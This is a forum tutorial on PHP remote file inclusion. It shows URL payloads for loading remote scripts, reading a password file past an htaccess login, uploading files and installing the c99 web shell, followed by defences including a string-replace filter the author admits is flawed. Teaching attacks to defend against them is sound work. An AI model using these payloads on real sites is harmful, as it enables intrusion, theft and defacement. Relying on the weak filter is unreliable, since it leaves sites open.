Jump to content
xisto Community
Sign in to follow this  
shadowx

Rfi (remote File Inclusion) What Is It? How Do I Stop It? Another website security tutorial

Recommended Posts

In my continuing attempts to learn more about website security i am going to tell you about a classic attack called Remote File inclusion (RFI). RFI is exactly what it says really, it involves using (or including) code from one website on another website. So if i have a website : secure.com with a modular, dynamic system like: secure.com/index.php?module=home notice the GET variable on the end of the URL. If i enter "blah" instead of "home" i get either a blank page, or a 404: page not found error, there is also a chance you will get an error message like: Error: include(blah) file not found to includer on line 44 or similar error messages. So what does this mean? Well you can see that the file index.php takes the value of "module" adds a file extentsion to it, and then tries to use include(); on that file name. We can assume the code looks like this:


$page = $_GET['module'] $extension = ".php";$file = "$page$extension"; //so we get page.phpinclude($file);

We can check what extension is being used by finding one of the files. For example secure.com/index.php?module=login if we now explore the site looking for login.htm login.php etc.... we should eventually find the page login.php (all other extensions will result in a 404 error) So now we know the following: The site takes the GET variable, adds ".php" then uses include() to get the contents of that file into the page index.php Bad times! That means any file that we put after module= will be included and all the PHP code will be dumped into index.php So how do we make an RFI attack? Firstly you will need a website and a little PHP knowledge. You could make a test script like:


<?echo "testing....";?>

save it to your server as test.php and include it in the secure site like this: secure.com/index.php?module=http://forums.xisto.com/no_longer_exists/Now this is where we sort the men from the boys as it were.... There are two settings in PHP that control the opening of remote files on different servers. One works for FOPEN, Fwrite etc... and one works for include() and require() the line i am talking about is: allow_url_include (i think its written like that) If this is set to False our secure.com website is fairly secure and our RFI wont work because PHP isnt allowed to load files from other servers. We could then use another exploit for example if we knew the passwords were stored in as protected directory like protected/passwords.txt and we didnt have access to this directory because it asked us to login (using htaccess) we could use the index.php to bypass this with: secure.com/index.php?module=protected/passwords.txt If the secure site has code that automatically adds .php or another extension on to the GET variable (like in my example where we have $page$extension (something.php) ) you will need to add a ? after the passwords.txt -> passwords.txt? otherwise the automatic addition of .php will turn your file into passwords.txt.php which doesnt exist! and we would be shown all the passwords :) however not so many sites use this method! Some do though! Anyway..... If the secure.com server has the allow_url_include set to true our attack should work and we should see testing..... from our echo statement. Good times! Now we know that works we can do ANYTHING! if ou want to be able to upload files simply right a self contained upload script in PHP and include it like:secure.com/index.php?module=http://forums.xisto.com/no_longer_exists/ then on secure.com you will be shown an upload box where you can upload any PHP, HTML, EXE, etc... files you want. Doing this you can build yourself a nice control panel using PHP where you can delete, edit and upload files to their server. You now have complete control! Another option is to use a ready made control panel type system. The one i was introduced to is called c99.txt (DO NOT INCLUDE THIS FILE ON ANY SERVER) a "safe" version would simply give you a nice interface on the secure.com site where you cna edit any files you wish etc.... similar to file manager on cpanel with a few extra features. Essentially you would have complete control just by writing: secure.com/index.php?module=http://forums.xisto.com/no_longer_exists/? (remember the question mark!) Its file extension is confusing, it is actually a php file saved as .txt (im not sure why its saved as .txt but it is!) and the PHP inside builds you a control panel, effectively it installs a control panel on the target site. There are other systems you can use but c99.txt is the only one i know. So you can see, from a simple RFI exploit any attacker can gain complete control of your site with the same level of access as you have, scary! How do you stop this happening? Well if you have the ability to edit the php.ini file you can set allow_url_fopen to FALSE and allow_url_include to FALSE. Also, the method i prefer :o use something like:


<?php$page = $_GET['module'];switch($page){case "blog":include("blog.php");break;case "contact":include("contact.php");break;case "gallery":include("gallery.php");break;default: //A page wasn't chosen, or one that wasn't "home" or "gallery"include("home.php");break;}?>

So if i enter http://forums.xisto.com/no_longer_exists/ the PHP looks in the SWITCH statement for: case"http://forums.xisto.com/no_longer_exists/; doesnt find it so uses the DEFAULT value and shows me home.php Not much i can do now :P another option is to clean all user input (you should do that anyway!) to remove http:// ../ (go up one directory) all slashes / \ (to prevent things like folder/file.php)


$page = $_GET['module'];$page = str_replace("http://", "", $page);$page = str_replace("/", "", $page);$page = str_replace("\\", "", $page);$page = str_replace("../", "", $page);$page = str_replace("..", "", $page);

And so on... (note that code WONT protect you against all RFI attacks. In order to protect yourself you must first learn how to harm yourself, which is what i am doing ;) ) you can also use an IF statement with instr("http://forums.xisto.com/;, $page) etc... and if it returns TRUE then it was an attack so log it and reject them :P Thats the basics anyway, there are many different ways to execute an RFI attack and every single successful attack is deadly! it could be to upload a new index.php file and overwrite your current one to "deface" your website (eg by having an index page that just says "Joo were H$X0R�D by |\/|�" ) or by uploading a deadly virus that would make your host very, very upset.... If you want to learn more just google "prevent RFI" i have focussed on PHP because its the only server side language i know well! but RFI attacks will work on ANY language that uses a function similar to php: include() or require(). Disclaimer: NEVER attempt these attacks on ANY server unless you have EXPLICIT and WRITTEN permission to do so. If you do not have written permission you can be taking to court, SUED or even put in prison! (for offences such as unauthorized access to computer systems, willing, unauthorized destruction of data etc..... If you wish to find a safe environment to learn more create your own server or find a server where you have written permission to learn and test yourself (PM me and i will give the URLs to some sites where you are encouraged to learn in a safe, secure and legal environment). the code i have written may or may not work. I make no assurances that by using my code you will be protected. My code has some severe holes in it!! Do not use my code thinking you are safe because that would be foolish. In order to protect yourself fully you must first learn yourself how to accomplish an attack and how to defend an attack. I may write another tutorial on XSS soon too....

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
×
  • Create New...

Important Information

Terms of Use | Privacy Policy | Guidelines | We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.